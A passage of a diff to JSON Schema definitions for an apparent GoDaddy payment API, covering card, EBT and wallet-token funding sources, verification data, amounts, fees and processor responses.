card number is encrypted", + "type": "boolean", + "writeOnly": true + }, + "entryDetails": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "customerPresent": { + "default": false, + "description": "Indicates whether customer was present during transaction", + "type": "boolean" + }, + "entryMethod": { + "description": "Entry mode for the card", + "enum": [ + "KEYED", + "MSR", + "CL_MSR", + "ICC", + "CL_ICC" + ], + "type": "string" + }, + "iccFallback": { + "default": false, + "description": "indicates whether there was a fallback to MSR from EMV", + "type": "boolean", + "writeOnly": true + } + }, + "title": "Card Entry Detail", + "type": "object" + }, + "expMonth": { + "maximum": 12, + "minimum": 1, + "type": "integer" + }, + "expYear": { + "maximum": 9999, + "minimum": 2000, + "type": "integer" + }, + "firstName": { + "description": "First name of card holder", + "type": "string" + }, + "interacMacDetail": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "interacMac": { + "description": "Interac mac details for canada based cards", + "type": "string" + }, + "interacMacKSN": { + "description": "Interac mac key serial number for canada based cards", + "type": "string" + } + }, + "required": [ + "interacMac", + "interacMacKSN" + ], + "title": "Interac Mac", + "type": "object" + }, + "keySerialNumber": { + "description": "For DUKPT encryption", + "type": "string", + "writeOnly": true + }, + "lastName": { + "description": "Last name of card holder", + "type": "string" + }, + "number": { + "description": "Card number", + "type": "string" + }, + "sequenceNumber": { + "description": "Sequence number to distinguish between 2 cards with same PAN.", + "type": "string", + "writeOnly": true + }, + "serviceCode": { + "description": "Track data read from card", + "type": "string", + "writeOnly": true + }, + "source": { + "description": "Source of the card", + "enum": [ + "DIRECT", + "APPLE_PAY", + "GOOGLE_PAY" + ], + "type": "string" + }, + "track1Data": { + "description": "Card track 1 data", + "type": "string", + "writeOnly": true + }, + "track2Data": { + "description": "Card track 2 data", + "type": "string", + "writeOnly": true + }, + "track3Data": { + "description": "Card track 3 data", + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Type of the card", + "enum": [ + "VISA", + "MASTERCARD", + "AMERICAN_EXPRESS", + "DISCOVER" + ], + "type": "string" + } }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Status", - "type": "string", - "enum": [ - "INITIATED", - "PENDING", - "FAILED", - "COMPLETED", - "VOIDED" - ], - "description": "Transaction status" + "required": [ + "type", + "number", + "source" + ], + "title": "Card Detail", + "type": "object" + }, + "cardType": { + "enum": [ + "FOOD_STAMP", + "CASH_BENEFIT", + "ELECTRONIC_VOUCHER" + ], + "type": "string" + }, + "cardVerificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true + } }, - "amount": { - "description": "Transaction amount", - "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Payment amount" - }, - "currency": { - "description": "Payment currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } + "title": "Card VerificationData", + "type": "object" + }, + "eVoucherApprovalCode": { + "type": "string" + }, + "eVoucherSerial": { + "type": "string" + } + }, + "required": [ + "cardDetail", + "cardType" + ], + "title": "EBT Card", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/gdpayment-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" }, - "required": [ - "amount", - "currency" - ] + "propertyName": "type" }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } - } - }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } - }, - "required": [ - "amount", - "type" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true - } - }, - "required": [ - "amount", - "type", - "signature" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" } }, "required": [ - "feeType" - ] + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" }, - "description": "Fees if any" - } - }, - "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } - }, - "properties": { - "amountType": { - "type": "string" - } - } - }, - "createdAt": { - "type": "string", - "format": "date-time", - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "context": { - "description": "Transaction context", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "TransactionContext", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentContext", - "type": "object", - "description": "Payment Context details", - "properties": { - "channelId": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - }, - "merchantInitiatedTransaction": { - "type": "boolean", - "default": false, - "description": "True if initiated by the Merchant on behalf of the customer" - } - } - } - ], - "type": "object" - }, - "clientContext": { - "description": "non-sensitive context data that can be stored and fetched by client when needed", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - }, - "processorResponse": { - "readOnly": true, - "description": "Processor response", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { + "cardPin": { + "description": "Card pin block.", "type": "string", - "maxLength": 256 - } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" } }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" + "type": "object", + "writeOnly": true + } + }, + "title": "Card VerificationData", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "billingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + } + }, + "title": "Token VerificationData", + "type": "object" + } + ], + "properties": { + "type": { + "description": "Discriminator type", + "type": "string" + } + }, + "required": [ + "type" + ], + "title": "VerificationData", + "type": "object" + } + }, + "title": "PaymentTokenFundingSource", + "type": "object" + } + ], + "properties": { + "token": { + "description": "Godaddy Payment token", + "type": "string", + "writeOnly": true + } + }, + "required": [ + "token" + ], + "title": "GoDaddy PaymentToken", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/applepay-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 + "type": "object", + "writeOnly": true + } + }, + "title": "Card VerificationData", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "billingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" } - } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" } - } - ], - "properties": { - "remainingBalanceAmount": { - "type": "integer", - "description": "Remaining balance amount" - } + }, + "title": "Token VerificationData", + "type": "object" + } + ], + "properties": { + "type": { + "description": "Discriminator type", + "type": "string" } - } - ], - "discriminator": { - "propertyName": "processorType", - "mapping": { - "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", - "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" - } - }, - "properties": { - "processorType": { - "type": "string" - } - }, - "required": [ - "processorType" - ] - }, - "notes": { - "type": "string", - "maxLength": 512, - "description": "Notes about transaction" - } - }, - "required": [ - "amount", - "createdAt" - ] - } - ], - "x-generic-type": "Transaction", - "description": "Represents Adjustment transaction against a payment", - "properties": { - "newAmount": { - "description": "Adjusted transaction amount", - "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Payment amount" }, - "currency": { - "description": "Payment currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } - }, - "required": [ - "amount", - "currency" - ] + "required": [ + "type" + ], + "title": "VerificationData", + "type": "object" + } }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" + "title": "PaymentTokenFundingSource", + "type": "object" + } + ], + "properties": { + "token": { + "description": "Apple pay token", + "type": "string", + "writeOnly": true + } + }, + "required": [ + "token" + ], + "title": "ApplePayPaymentToken", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/google-pay-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true + } + }, + "title": "Card VerificationData", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "billingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + } }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } + "title": "Token VerificationData", + "type": "object" + } + ], + "properties": { + "type": { + "description": "Discriminator type", + "type": "string" } }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true + "required": [ + "type" + ], + "title": "VerificationData", + "type": "object" + } + }, + "title": "PaymentTokenFundingSource", + "type": "object" + } + ], + "properties": { + "token": { + "description": "Google pay token", + "type": "string", + "writeOnly": true + } + }, + "required": [ + "token" + ], + "title": "GooglePayPaymentToken", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/paypal-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + 